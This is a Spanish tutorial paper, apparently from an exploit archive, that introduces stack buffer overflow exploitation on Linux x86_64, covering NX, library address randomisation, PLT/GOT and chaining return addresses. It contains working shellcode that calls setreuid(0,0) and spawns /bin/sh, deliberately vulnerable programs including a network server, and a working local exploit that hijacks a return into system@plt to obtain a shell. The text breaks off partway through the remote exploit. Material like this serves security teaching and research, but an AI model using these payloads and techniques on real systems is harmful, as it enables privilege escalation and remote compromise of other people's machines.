[Spanish] Introduccion a los overflows en Linux x86_64

EDB-ID:

13065

CVE:

N/A

Author:

RaiSe

Type:

papers

Platform:

Multiple

Published:

2007-11-05

=-|================================================-{ www.enye-sec.org }-====|
=-[ Introduccion a los overflows en Linux x86_64 ]-==========================|
=-|==========================================================================|
=-[ por RaiSe <raise@enye-sec.org> ]-========================-[ 10/09/2007]-=|



------[ 0.- Indice ]


0.- Indice
1.- Prologo

2.- Novedades x86_64
  2.1.- Modos de ejecucion
  2.2.- Nuevos registros
  2.3.- Mnemonicos de 64 bits
  2.4.- Llamadas a syscalls

3.- Dificultades en el camino
  3.1.- No ejecucion de codigo en paginas por hardware
  3.2.- Direccion de carga de librerias pseudo-aleatoria
  3.3.- Paso de argumentos a funciones

4.- Shellcodes
  4.1.- Shellcode que ejecuta una shell

5.- Tecnicas de explotacion
  5.1.- Ideas basicas
  5.2.- PLT
  5.3.- Saltando aqui y alla

6.- Ejemplos simples de explotacion
  6.1.- bof1.c local
  6.2.- bof2.c remoto

7.- Conclusiones
8.- Despedida



------[ 1.- Prologo ]


Buenas. En este texto intentare aclarar un poco el tema de los overflows en 
sistemas Linux x86_64 (linux a 64 bits en los nuevos procesadores para PC: 
amd64, em64t, ..). No me metere a fondo en explicar conceptos teoricos, solo 
lo justo y necesario para lo que nos interesa: aprovechar los overflows en 
nuestro beneficio. Intentare por lo tanto ser lo mas practico posible, os 
recuerdo que este texto solo es una introduccion al tema.

Para comprender este texto es necesario un conocimiento de la arquitectura 
x86, y entender como funcionan los buffer overflow en dicha arquitectura.

Es posible que en el txt haya algun error, si es asi no dudes en hacermelo 
saber a traves de raise@enye-sec.org para que pueda subsanarlo, gracias  :) .



------[ 2.- Novedades x86_64 ]


Con la llegada de los nuevos procesadores para PC de 64 bits han surgido 
muchas novedades. Aqui mencionare las que nos interesan desde el punto de 
vista de los overflows.

Nota: Recordar que el orden en que se guardan los datos en memoria sigue 
siendo little-endian, lo que nos puede facilitar mucho las cosas a la hora de 
sobreescribir parcialmente un registro y cosas asi.


----[ 2.1.- Modos de ejecucion ]


Las CPU's tienen varios modos de ejecucion. Basicamente se dividen en 2 
grupos: long mode y legacy mode. En long mode el SO esta programado para 
ejecutarse en 64 bits, es decir siempre que se este en long mode el SO es de 
64 bits, no puede instalarse windows 95 y el procesador estar en long mode 
por ejemplo. En legacy mode pasa al contrario, el SO siempre sera de 32 bits. 
Para abreviar, long mode: SO de 64 bits, legacy mode: SO de 32 bits (por el 
tema de la compatibilidad de SO's antiguos).

Dentro del legacy mode hay 3 submodos, que son los mismos que cualquier CPU 
x86 moderna: protected mode, virtual-8086 mode y real mode. Directamente 
pasamos del legacy mode (es todo igual que en la arquitectura x86).

Dentro del long mode (el que nos interesa), hay 2 submodos: 64-bit mode y 
compatibility mode, practicamente los nombres lo dicen todo. Un SO moderno de 
64 bits puede ejecutar programas de 32 bits sin necesidad de recompilacion, 
porque?, gracias al compatibility mode. Tambien pasamos directamente del 
compatibility mode por lo mismo de antes.

El interesante y con el que nos vamos a encontrar de aqui a unos años por 
todas partes es el 64-bit mode: un SO de 64 bits ejecutando codigo de 64 
bits.


----[ 2.2.- Nuevos registros ]


Pues bien, hay muchas novedades en el tema de registros del procesador. 
Vuelvo a recordar que estos registros solo estan disponibles en long mode - 
64-bit mode (a partir de ahora se entendera que siempre estamos en ese modo 
de ejecucion). Los registros de antes (eax, ebx, ecx, edx, edi, esi..) siguen 
existiendo como registros de 32 bits (y son accesibles), pero solo son la 
mitad de los nuevos registros de 64 bits, que basicamente se llaman igual 
pero cambiando la e por la r, es decir: rax, rbx, rcx, rdx, rsi, rdi, rsp, 
rbp, rip. Son todos de 64 bits.

Aparte se añaden 8 nuevos registros de 64 bits, que se llaman r8, r9, r10, 
r11, r12, r13, r14 y r15. Se puede acceder por partes a los registros. Por 
ejemplo 'r8d' es la parte baja de 32 bits del registro 'r8', 'r8w' la parte 
baja de 16 bits y 'r8b' es el byte bajo. A los registros "antiguos" se les 
accede como antes: 'eax' es la parte baja de 32 bits de 'rax', 'ax' la de 16 
bits, 'al' la de 8 bits, etc.

'rip' es el nuevo registro de puntero de intruccion (en vez de 'eip'). Es de 
64 bits porque el espacio de direcciones tambien, las posiciones de memoria 
son de 64 bits ('rsp' es de 64 bits..., vamos que todo, o casi, es de 64 
bits). Los enteros (int) siguen siguendo de 4 bytes (32 bits), pero por 
ejemplo los long son de 8 bytes, los punteros son de 8 bytes, etc.


----[ 2.3.- Mnemonicos de 64 bits ]


Las instrucciones en asm mas o menos son las mismas, con la salvedad del 
nombre de los registros. Es decir: 'mov rax,rdx' copia rax en rdx, etc. Hay 
que resaltar que la unica forma de hacer una llamada al sistema es a traves 
de la instruccion 'syscall'. Si hicieramos 'sysenter' por ejemplo generaria 
un error (os recuerdo que estamos en 'long mode & 64-bit mode'). Paso a la 
siguiente seccion porque aqui no hay mucho mas que contar.


----[ 2.4.- Llamadas a syscalls ]


Como ya adelante en la seccion anterior, se hacen a traves de la instruccion 
'syscall' (ni 'sysenter' ni 'int $0x80'). El numero de syscall a llamar se 
coloca en rax, y los argumentos en los siguientes registros por orden: rdi, 
rsi, rdx, r10, r8, r9 (siendo rdi el primer argumento, rsi el segundo, etc.). 
El valor devuelvo por la syscall se coloca en rax. Durante la syscall no se 
garantiza que se preserve el valor de rcx y r11 (vamos que hay que salvarlos 
antes si se tiene pensado utilizarlos luego para algo).



------[ 3.- Dificultades en el camino ]


Como veremos mas adelante las cosas se han puesto bastante dificiles. Se ha 
añadido 'proteccion' via hardware, y el kernel se ha parcheado añadiendo aun 
mas dificultades. Definitivamente el tipico exploit_base.c en el que 
modificando cuatro valores tenias un exploit funcional ha pasado a la 
historia.


----[ 3.1.- No ejecucion de codigo en paginas por hardware ]


Como iba diciendo se ha añadido algo basico para la seguridad del sistema. 
Antes las paginas de memoria (la memoria se divide en paginas, por cierto 
aprovecho para decir que en 'long mode' se han cargado directamente la 
segmentacion) no tenian la opcion hardware de ser de lectura y NO 
ejecutables, si eran de lectura eran ejecutables. Ahora si, una pagina de 
memoria puede ser por ejemplo de lectura/escritura y NO ejecutable. Con lo 
cual el stack, la memoria dinamica gestionada con *alloc (bss), la seccion de 
datos (data), etc., ya no es ejecutable, y nos sera imposible ejecutar en 
ella una shellcode (a no ser que se modifique para que ese area de memoria si 
sea ejecutable, con mprotect por ejemplo, o especificandolo en una llamada a 
mmap).


----[ 3.2.- Direccion de carga de librerias pseudo-aleatoria ]


Aparte de la dificultad para ejecutar nuestra shellcode, saltar a la libc 
tampoco sera coser y cantar. El kernel ha sido parcheado para que las 
llamadas a mmap (la que se utiliza para cargar en memoria las librerias 
dinamicas como la libc) devuelvan un valor pseudo-aleatorio. El resultado es 
que en cada ejecucion de un proceso la libc (y todas las librerias dinamicas) 
se cargan en una direccion diferente. Ejemplo:

[raise@enyelab ~]$ ldd /bin/id
        libc.so.6 => /lib64/libc.so.6 (0x00002af504e0c000)
        /lib64/ld-linux-x86-64.so.2 (0x00002af504cf1000)
[raise@enyelab ~]$ ldd /bin/id
        libc.so.6 => /lib64/libc.so.6 (0x00002aae7b5eb000)
        /lib64/ld-linux-x86-64.so.2 (0x00002aae7b4d0000)

Como veis las direcciones de las librerias son diferentes, a pesar de que el 
ejecutable ('/bin/id') sea exactamente el mismo. Eso hace que la conocida 
tecnica de return-into-libc no sea aplicable tal cual.


----[ 3.3.- Paso de argumentos a funciones ]


Despues de eso direis: bueno, ya no puede ir peor. Pues si puede  :) . En Linux 
x86_64 las llamadas a funciones son un poco diferentes a las de x86 (llamadas 
a funciones normales, no me estoy refiriendo a syscalls). En la arquitectura 
x86 los argumentos a las funciones se pasaban a traves de la pila: se hacia 
'push $arg2', 'push $arg1', 'call funcion'. Con lo cual si controlabas el 
stack justo al comienzo de una funcion controlabas sus argumentos. Esto se 
utilizaba mucho en la tecnica de retornar en la libc, ya que al controlar el 
stack (o un trozo de stack) controlabas los argumentos de paso a las 
funciones; luego solo era cuestion de ir enlazando llamadas con los 
argumentos apropiados y al final conseguias una shell (o lo que fuera).

Ahora para complicarlo un poco mas, los argumentos se pasan en los registros 
del procesador. Para ser exactos se pasan en este orden: rdi, rsi, rdx, rcx, 
r8, r9 (siendo rdi el primer argumento de la funcion, rsi el segundo, etc.). 
De esta forma aunque controles el stack al llamar a una funcion no controlas 
sus argumentos, hay que apañarselas para colocar los argumentos necesarios en 
los registros adecuados. Aun asi la direccion de retorno si se sigue 
guardando en la pila.

Nota: Hay casos en los que el argumento si se pasa a traves de la pila, 
      por ejemplo cuando el arg es una estructura grande (mayor de 128 
      bits). Pero para los casos 'normales': enteros, longs, punteros, 
      etc. se usan los registros, y en libc 'creo' que siempre que haya 
      que pasar una estructura como argumento se pasa su direccion 
      (puntero), con lo que siempre se usaran los registros para pasar 
      argumentos a funciones (al menos en la libc actual).
 


------[ 4.- Shellcodes ]     


Las shellcodes para x86_64 son muy parecidas a las de x86. Practicamente solo 
cambian el nombre de los registros, y que se utiliza la instruccion 'syscall' 
para las llamadas al sistema en vez de 'sysenter' o 'int $0x80'. En este 
apartado pondre una shellcode que da una shell (lo tipico), pero en realidad 
las scodes no tienen mucho sentido en la explotacion de overflows en x86_64.

Pocas veces podremos ejecutarlas debido al tema de las paginas no 
ejecutables, para conseguirlo tendriamos que reservar/modificar una zona de 
memoria a traves de mmap/mprotect, lo cual muchas veces es muy dificil. Es 
mucho mas facil ejecutar directamente las llamadas a la libc encadenadas que 
ingeniartelas para poder ejecutar una shellcode. A pesar de todo la pongo a 
modo 'academico'.


----[ 4.1.- Shellcode que ejecuta una shell ]


---- shellcode ----

char scode[]=
/*
__asm__("\
        .byte 0xeb  ;\
        .byte 0x1f  ;\
        pop %rbx    ;\
        xor %rdi,%rdi   ;\
        xor %rsi,%rsi   ;\
        xor %eax,%eax   ;\
        movb $0x71,%al  ;\
        syscall ;\
        mov %rbx,%rdi   ;\
        xor %rdx,%rdx   ;\
        push %rdx   ;\
        push %rdi   ;\
        mov %rsp,%rsi   ;\
        xor %rax,%rax   ;\
        movb $0x3b,%al  ;\
        syscall ;\
        .byte 0xe8  ;\
        .byte 0xdc  ;\
        .byte 0xff  ;\
        .byte 0xff  ;\
        .byte 0xff  ;\
        .string \"/bin/sh\" ;\
        .byte 0x00  ;\
        ");
*/
    "\xeb\x1f\x5b\x48\x31\xff\x48\x31\xf6\x31\xc0\xb0\x71\x0f"
    "\x05\x48\x89\xdf\x48\x31\xd2\x52\x57\x48\x89\xe6\x48\x31"
    "\xc0\xb0\x3b\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x00";

---- eof ----


No tiene mucha ciencia, los 2 primeros bytes son el salto (jmp) de toda la 
vida de las shellcodes, y los 5 bytes del final antes del string de "/bin/sh" 
son el 'call' al 'pop %rbx'. Luego es lo mismo de siempre, colocar los 
argumentos en los registros apropiados y llamar a 'syscall'. La scode hace un 
setreuid(0,0) y un execve de "/bin/sh". El setreuid es por el tema de la bash 
del euid 0. La verdad es que la shellcode no es gran cosa, no deberia llevar 
el null del final sino que deberia ponerlo solo en tiempo de ejecucion, pero 
para fines didacticos es mas que suficiente ;P.

Para probarla meter el __asm__() dentro de un main o cualquier funcion de 
codigo, o hacer un mmap con proteccion de ejecucion+escritura para poder 
copiar ahi la shellcode y ejecutarla:

[raise@enyelab x86_64]$ ls -l test-scode
-rwsr-xr-x 1 root root 10566 sep 10 00:39 test-scode*
[raise@enyelab x86_64]$ ./test-scode
sh-3.1# id
uid=0(root) gid=500(raise) groups=500(raise)



------[ 5.- Tecnicas de explotacion ]


En este apartado tratare de explicar un poco algunas tecnicas que pueden 
sernos de utilidad a la hora de explotar los overflows. Hay que decir que no 
hay una receta magica, se basan en el estudio del propio ejecutable 
vulnerable y de las librerias del sistema. Por lo tanto, es basico disponer 
de una copia local de lo que vayamos a utilizar (ejecutable, librerias a las 
que saltaremos, etc.), ya que utilizaremos direcciones exactas.

En exploits locales no hay problema, en remoto habra que conseguirlo 
bajandose la libc de la distro en cuestion (suponiendo que no haya sido 
modificada/actualizada), y con el programa vulnerable mas de lo mismo. Si el 
programa vulnerable no viene de una instalacion precompilada (tipo rpm) con 
la distro la cosa se complica, habria que usar fuerza bruta o cosas parecidas 
que no se tratara en este texto.


----[ 5.1.- Ideas basicas ]


Como decia todo se basa en el estudio del ejecutable y de las librerias 
dinamicas cargadas en memoria. Y direis: las librerias?, pero no se cargaban 
en direcciones de memoria pseudo-aleatorias?. Obviamente si, pero en algunos 
casos se puede averiguar la direccion de las libs en tiempo de ejecucion del 
programa vulnerable.

De entrada recordaros que el programa vulnerable siempre se carga en una 
direccion de memoria establecida (al menos de momento, hay proyectos para que 
esto no sea asi y se carge como si fuera una libreria dinamica, pero en la 
actualidad no estan lo suficientemente maduros y no estan implantados 'de 
serie'). Por lo tanto tenemos unas direcciones a las que podemos saltar y de 
las que conocemos su contenido (instrucciones asm). Dependiendo del 
tamaño/complejidad del programa vulnerable esto nos da mucho juego; 
cientos/miles de instrucciones asm a las que podemos saltar.

Si nos encontramos una instruccion 'syscall' (opcodes: 0x0f 0x05)  dentro del 
programa vulnerable la cosa se simplifica mucho, ya que podremos ejecutar 
llamadas al sistema sin necesidad de conocer la direccion de la libc. 
Logicamente tendriamos que colocar los argumentos necesarios en los registros 
apropiados utilizando para ello el propio codigo (partes de el) del 
ejecutable, encadenando todos los trozos de codigo con 'rets' (os recuerdo 
que controlaremos el stack). Esto es lo tipico de los return-into-libc.

Desgraciadamente pocas veces encontraremos una instruccion 'syscall' en el 
propio codigo del ejecutable, a no ser que una instruccion asm utilice los 
bytes 0x0f 0x05 como 'datos', y tengamos la suerte de que esten seguidos. Por 
lo tanto muchas veces tendremos que saltar a la libc (averiguando su 
direccion con metodos como el que veremos mas adelante en el PoC bof2.c), o a 
traves de la PLT.


----[ 5.2.- PLT ]


Nota: Voy a intentar explicarlo brevemente y de forma practica, espero no
      cometer ningun error.

Supongo que muchos sabeis que es la PLT (Procedure Linkage Table). Se usa 
para calcular en tiempo de ejecucion las direcciones de los procedimiendos 
(funciones) en las librerias de enlace dinamico. Se utiliza en conjuncion con 
GOT (Global Offset Table), que contiene las direccionas de memoria absolutas 
de las funciones una vez resueltas.

Mas o menos funciona asi. Tenemos un codigo que ejecuta una llamada a una 
funcion de la libc y se compila de forma dinamica (si se compilara de forma 
estatica no se saltaria a la libc, sino que se copiaria la propia funcion en 
el codigo del ejecutable), por ejemplo este:

---- ejemplo-plt.c ----

#include <stdio.h>

int main(void)
{

printf("hola!\n");

}

---- eof ---- 

Hace una llamada a 'printf', que esta ubicada en la libc. En tiempo de 
compilacion es imposible saber cual es la direccion 'real' de la funcion 
printf, ya que la libc aun no se ha cargado en el espacio de direcciones del 
proceso. Por lo tanto en realidad se salta a una entrada de la PLT, que 
tienen esta pinta:

0x4003b0:       jmpq   *1049706(%rip)        # 0x500820 <_GOT_+32>
0x4003b6:       pushq  $0x1
0x4003bb:       jmpq   0x400390

Esta es la entrada PLT de la funcion printf, si nos fijamos en el codigo de 
main:

(gdb) disass main
Dump of assembler code for function main:
0x0000000000400478 <main+0>:    push   %rbp
0x0000000000400479 <main+1>:    mov    %rsp,%rbp
0x000000000040047c <main+4>:    mov    $0x400578,%edi
0x0000000000400481 <main+9>:    callq  0x4003b0
0x0000000000400486 <main+14>:   leaveq
0x0000000000400487 <main+15>:   retq

Vemos que el call (main+9) salta justo a la entrada PLT de printf. Ahora es 
cuando entra en juego la GOT (Global Offset Table). La primera instruccion de 
la entrada PLT hace un 'jmpq *1049706(%rip)', que en realidad es un salto al 
contenido de la entrada GOT de printf (0x500820). La GOT solo contiene datos, 
nunca se ejecutara codigo, es como un almacen donde se guardan los valores de 
las direcciones de las funciones. La primera vez que se ejecuta una entrada 
de la PLT hay que resolver primero la direccion que buscamos, por lo que la 
GOT siempre apuntara a la direccion siguiente (segunda instruccion de la 
entrada PLT correspondiente). Lo vemos:

(gdb) x/1xg 0x500820
0x500820 <_GOT_+32>:    0x00000000004003b6

El contenido de la entrada GOT correspondiente a 'printf' apunta a la segunda 
instruccion de la entrada PLT de 'printf', es decir al 'pushq $0x1'. Porque?, 
porque el valor de la direccion de 'printf' nunca se ha resuelto aun, con lo 
que el 'jmpq *1049706(%rip)' en realidad salta al 'pushq $0x1'. Seguimos..

La PLT mete en la pila un valor (0x1), que sera necesario para que el dynamic 
linker (enlazador dinamico) sepa que la funcion a resolver es 'printf' y no 
otra. En una PLT cada entrada tiene dicho valor distinto para diferenciar las 
funciones que hay que resolver. Despues hace un 'jmpq 0x400390', que 
transfiere el control al dynamic linker, el cual resumiendo mucho resuelve la 
direccion absoluta de 'printf' y la coloca en su entrada correspondiente en 
la GOT (0x500820 para ser exactos). Despues transfiere el control a la misma, 
y por fin estamos en printf en la libc  :) .

Luego por ejemplo si hacemos 8 llamadas a printf seguidas saltara a la PLT de 
'printf' (como antes), pero ya se salta todo el rollo de resolver la 
direccion porque en la GOT (0x500820) ya estara la direccion real de 
'printf'.

Bueno, y porque todo este rollo?. Pues porque la PLT puede ser nuestra gran 
aliada, ya que se encuentra en el propio codigo del ejecutable, con lo cual 
se carga en una direccion de memoria prefijada y que conocemos. Por lo tanto 
podemos saltar a la entrada PLT de la funcion de libc que mas nos guste, que 
el enlazador dinamico se encargara de averiguar su direccion por nosotros. La 
pega es que para que la entrada PLT de 'nuestra' funcion este disponible, el 
programa vulnerable tiene que utilizarla en alguna parte de su codigo, ya que 
sino el compilador no la incluira y no estara en la PLT. Volvemos a lo de 
antes, cuanto mas complejo sea el programa vulnerable mas funciones 
utilizara, y mas facil lo tendremos para encontrar alguna que nos sea util.


----[ 5.3.- Saltando aqui y alla ]


La frase de este titulo podria resumir la tecnica principal para conseguir 
explotar un overflow en Linux x86_64; ir saltando a trozos de codigo del 
propio ejecutable o alguna libreria dinamica. Como controlamos el stack 
(recordad que este texto trata sobre los overflows de pila), controlamos las 
direcciones de retorno. Por poner un ejemplo, queremos copiar 'rdx' en 'rdi', 
pues buscamos en el ejecutable/libs algo asi:

0x400642:    mov  %rdx,%rdi
0x400645:    retq

Como controlamos el stack, ese 'retq' (por cierto la 'q' es porque es de 64 
bits) saltara a donde nosotros queramos, y de esta forma podemos ir enlazando 
trozos de codigo. Cuando sobreescribamos la direccion de retorno de la 
funcion vulnerable, todo lo que vaya a continuacion sera tratado como 
direcciones de retorno de nuestros 'trozos' de codigo encadenado.

Por ejemplo, supongamos que aparte de querer copiar 'rdx' en 'rdi' queremos 
poner a cero 'rsi'. Y tenemos esto disponible en alguna parte:

0x400750:    xor  %rsi,%rsi
0x400752:    retq

Pues bien, solo tenemos que generar nuestro overflow con una pinta como esto:

*AAAAAAAA's necesarios para provocar el overflow*
*0x400642*
*0x400750*
*siguiente trozo de codigo + retq*
*siguiente trozo de codigo + retq*
..

La direccion de retorno de la funcion vulnerable se sobreescribe con 
0x400642, con lo q salta ahi y ya tenemos 'rdx' en 'rdi'. Luego hace un retq: 
salta a 0x400750 -> xor %rsi,%rsi, y hace otro retq.., y asi vamos enlazando 
nuestros trozos de codigo.

Por cierto, normalmente antes de un 'retq' hay un 'leaveq', para restaurar 
'rbp'. Esto nos complica las cosas, ya que seria imposible enlazar dos trozos 
de codigo seguidos (o muy dificil, ya que habria que colocar en 'rbp' el 
valor correcto) que tuvieran un 'leaveq' antes del 'retq'. Pero este problema 
esta practicamente solucionado en el caso de saltar a la libc, ya que desde 
hace tiempo se ha compilado entera con la opcion fomit-frame-pointer. Asi 
mismo muchos programas/aplicaciones de usuario tambien se compilan con esa 
opcion, con lo que el 'rbp' no se salva/restaura al comienzo y final de una 
funcion.

Pues bien, sabiendo todo esto solo hay que analizar los datos para poder 
explotar un overflow, saltar a los lugares idoneos con el stack adecuado, y 
ya tenemos un exploit  :) .



------[ 6.- Ejemplos simples de explotacion ]


Vamos a ver un par de ejemplos muy sencillos de overflows+exploits hechos 
para ilustrar un poco las tecnicas descritas. De todas formas cada overflow 
es un mundo, estos 2 PoC's solo son un ejemplo entre mil (quiero decir que no 
hay una tecnica que valga 'para todo').

Pues bien, vamos a ello..


----[ 6.1.- bof1.c local ]


Este es un overflow tipico de pila, que se explotara de forma local. Es muy 
simple y esta orientado para que sea 'academico', por ejemplo la llamada a 
system() solo esta para que dicha funcion se encuentre en la PLT del 
ejecutable.

---- bof1.c ----

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void basura(void) { system(NULL); }


void f1(char *argv[])
  {
  char buf[1024];

  strcpy(buf, argv[1]);  /* OVERFLOW */
  }


int main(int argc, char *argv[])
  {
  f1(argv);

  return(0);
  }

---- eof ----


Como vemos este programilla lo unico que hace es llamar a la funcion 
f1(argv), la cual copia argv[1] en buf sin limite de tamaño a traves de 
strcpy. Es decir, se sobreescribe la direccion de retorno de f1.

Bien, en este caso la solucion es muy sencilla, ya que tenemos la 'suerte' de 
que hay una entrada en la PLT de la funcion system. Ya se que esto no es muy 
realista, pero para entrar en materia es mas que sufuciente. Pues nada, como 
sabemos la direccion exacta de la entrada PLT de system solo tenemos que 
saltar a ella para conseguir nuestra shell.

Aqui hay un par de comentarios a tener en cuenta. El primero es que la 
funcion strcpy añade un caracter nulo al final del string. En este caso no 
tiene importancia, porque la direccion que vamos a sobreescribir es 
exactamente esta:

(gdb) x/1xg $rsp
0x7ffff6d3a078: 0x000000000040051e

Ese es el valor que habra en el stack justo en el reqt del final de f1. Como 
nosotros vamos a saltar a la PLT cuya direccion de comienzo es 
0x00000000004003c8 (objdump -t bof1 | grep .plt), significa que delante de lo 
que vamos a sobreescribir hay muchos ceros  :) . Aprovechandonos de que los 
datos en memoria se siguen guardando en little-endian podemos sobreescribir 
los 3 bytes bajos de la direccion de retorno, y el cuarto byte bajo se 
sobreescribira con el null que metera strcpy. Ahora bien, aqui la gran faena 
(x no decir otra cosa) es que ya no podemos enlazar varias llamadas seguidas, 
tenemos que ejecutar la shell del tiron (por culpa del null que mete strcpy).

En realidad es muy sencillo, y aqui entra en juego un factor clave para la 
explotacion de los overflows. Como los argumentos de las funciones se pasan 
en los registros y no en el stack como antes, significa que despues de llamar 
a una funcion los registros no cambian, sigues teniendo los argumentos de la 
llamada anterior en ellos. Aprovechandonos de esto es coser y cantar. 
Recordamos como se produce el overflow:

strcpy(buf, argv[1]);

Esto significa que %rdi apuntara a buf, y que %rsi apuntara a argv[1]. El 
contenido de buf y argv[1] los controlamos, por lo tanto controlamos el 
buffer que se le pasara a system(): buf = %rdi. Con lo cual elaborando el 
overflow de esta forma conseguiremos ejecutar una shell:

/bin/sh;#PADPADPADPAD..3 bytes bajos de la entrada PLT de system

Hay que meter el numero justo de bytes para sobreescribir correctamente la 
direccion de retorno con los 3 bytes + el null; saltara a la entrada PLT de 
system y tendremos un system("/bin/sh;#PADPADPADPAD.."). Como metemos el 
caracter de comentario (#) lo que venga detras no se ejecutara.

Veamos el exploit:

---- xpbof1.c ----

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define SYSTEM_PLT 0x00000000004003f8

int main(void)
{
char buf[2048];
unsigned long *p = (unsigned long *) buf;
int i;

memset(buf, 0x00, sizeof(buf));

for (i=0; i < 128; i++)
    *p++ = (unsigned long) 0x4141414141414141;

*p++ = 0x4242424242424242;
*p = SYSTEM_PLT;

memcpy(buf, "/bin/sh;#", 9);

execl("./bof1", "./bof1", buf, NULL);

}

---- eof ----


El exploit mete 1024 bytes del caracter 'A' (0x41), que llenan buf[] en bof1 
f1(). Despues mete 8 bytes del caracter 'B' (0x42), que seran el %rbp que se 
sobreescribira (suponemos que bof1 no se ha compilado con la opcion 
fomit-frame-pointer, si fuera asi estos 8 bytes habria que eliminarlos). Y 
luego metemos los 3 bytes de la entrada PLT de system (aunque en el exploit 
ponga *p = 0x00000000004003f8 solo es porque el puntero p es de tipo unsigned 
long, los 4 bytes nulos altos no se utilizaran ya que el primer null es el 
que marca el final de cadena, era para evitar hacer castings y demas :P). 
Para saber la direccion de la entrada PLT de system lo podemos mirar, o con 
el gdb:

(gdb) disass basura
Dump of assembler code for function basura:
0x00000000004004c8 <basura+0>:  push   %rbp
0x00000000004004c9 <basura+1>:  mov    %rsp,%rbp
0x00000000004004cc <basura+4>:  mov    $0x0,%edi
0x00000000004004d1 <basura+9>:  callq  0x4003f8  <-- AQUI
0x00000000004004d6 <basura+14>: leaveq
0x00000000004004d7 <basura+15>: retq

O con el objdump:

[raise@enyelab x86_64]$ objdump -d bof1 | grep system@plt
00000000004003f8 <system@plt>:  <-- AQUI

Ahora solo queda probar el exploit:

[raise@enyelab x86_64]$ ./xpbof1
sh-3.1$

Ya tenemos una shell  :) . Por cierto, la bash nos quitara el euid 0 en caso de 
dar a bof1 suid root, menos en debian creo (por un tema de que la bash que 
lleva esta modificada para que expresamente no lo haga). Para que no lo 
hiciera habria que hacer un setuid(0) (por ejemplo), o no utilizar system 
sino exec* y ejecutar una shell que no fuera bash (bof1 = didactico).

 
----[ 6.2.- bof2.c remoto ]


Ahora veremos otro ejemplo de explotacion de un overflow (remoto) algo mas 
complejo que el anterior, pero que sigue siendo bastante sencillo. Se trata 
de un programilla que lo unico que hace es escuchar en un puerto, y cuando 
recibe una conexion mostrar un mensaje y pedir una contraseña. Al leer la 
contraseña es cuando se produce el overflow.

Vemos el codigo:

---- bof2.c ----

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <unistd.h>

/* funciones */
void manejador(int s);


int main(int argc, char *argv[])
{
int soc, soc2;
struct sockaddr_in dire;

if (argc != 2)
    {
    fprintf(stderr, "%s puerto\n", argv[0]);
    exit(-1);
    }

if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
    fprintf(stderr, "Error al crear el socket.\n");
    exit(-1);
    }

bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[1]));
dire.sin_addr.s_addr = htonl(INADDR_ANY);

if (bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1)
    {
    fprintf(stderr, "Error al hacer bind, seguramente el puerto"
        " ya esta en uso.\n");
    exit(-1);
    }

listen(soc, 5);

if ((soc2 = accept(soc, NULL, 0)) == -1)
    return(-1);
else
    manejador(soc2);

return(0);

} /********** fin de main() ***********/


void manejador(int s)
{
char buf[1024];

write(s, "* BOF2 Server, bienvenid@ :)\n\n", 30);
write(s, "Introduce tu clave:\n", 20);

read(s, buf, 2*sizeof(buf));  /* OVERFLOW */

} /************ fin manejador() ************/

---- eof ----


Muy simple. Hace un socket / bind / listen / accept, y el socket de la 
conexion se le pasa como argumento a la funcion manejador. Es ahi donde se 
produce el overflow ya que lee el doble de bytes del tamaño de buf (1024).

Una ilustracion de lo simple que es el programa:

--
[raise@enyelab x86_64]$ ./bof2
./bof2 puerto

[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 4038

[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@  :) 

Introduce tu clave:
CLAVE_DE_PRUEBA
[1]+  Done                    ./bof2 7777
[raise@enyelab x86_64]$
--

Lo unico que hicimos fue ejecutar ./bof2, el cual nos muestra un error para 
que indiquemos el numero de puerto, lo volvemos a ejecutar con el puerto 7777 
en segundo plano, luego nos conectamos a localhost al puerto 7777, nos 
muestra el mensajito, metemos "CLAVE_DE_PRUEBA", y termina. Tan simple como 
eso  :) . Obviamente hay un overflow y si metemos 1040 A's como password:

[raise@enyelab x86_64]$ nc localhost 7777
* BOF2 Server, bienvenid@  :) 

Introduce tu clave:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA's [1040]
[1]+  Violación de segmento   (core dumped) ./bof2 7777

El proceso que habia en segundo plano hace crash. Pues bien, ya sabemos lo 
que hace el programa y donde esta el overflow, y ahora como lo explotamos 
sino hay system() ni exec*() en la PLT?. Podemos intentar buscar una 
instruccion 'syscall' en el propio codigo del ejecutable, pero sin exito 
debido al poco tamaño del mismo. Definitivamente habra que saltar a la libc o 
a alguna libreria de enlace dinamico, pero como averiguamos su direccion 
exacta?.

Aqui entra un poco en juego la imaginacion. Tenemos que utilizar las 
funciones de entrada/salida que use el programa vulnerable para averiguar la 
direccion de las librerias en tiempo de ejecucion. Es muy raro que un 
programa no haga E/S, y si la hace alguna funcion habra en la PLT que nos 
sirva. En este ejemplo tenemos read y write, pero en otros casos podria 
utilizarse *printf o similares. Ahora nos fijamos en donde se produce el 
overflow:

read(s, buf, 2*sizeof(buf));

Como los registros no son modificados antes del retorno de la funcion 
manejador(), quiere decir que saltemos a donde saltemos sobreescribiendo la 
direccion de retorno tendremos: en %rdi el socket, en %rsi la direccion de 
buf, y en %rdx 2*sizeof(buf), o sea 2048. Con esos parametros lo tenemos muy 
facil, solo tenemos que sobreescribir la direccion de retorno con la entrada 
PLT de write, la cual nos enviara el contenido de buf (que ya lo sabemos y no 
nos importa) + 1024 bytes del stack. Analizando esos 1024 bytes de 
informacion sacaremos la direccion de libc. Si quisieramos 'mostrar' mas 
bytes, podriamos saltar a algo asi dentro del propio codigo de bof2:

pop %rdx
retq

Como controlamos el stack meteriamos en %rdx el valor que quisieramos, y 
luego saltariamos a la entrada PLT de write con el retq. Las posibilidades 
son las que el programa vulnerable nos proporcione, solo hay que buscar a 
donde saltar. De todas formas en este caso no nos hace falta, ya que con 1024 
bytes de informacion nos es suficiente.

Bueno, estamos en que saltamos al write y nos muestra informacion, pero y 
luego?. Necesitamos 'volver' a provocar otro overflow en tiempo de ejecucion, 
ya que la informacion obtenida solo es valida para esa instancia del proceso, 
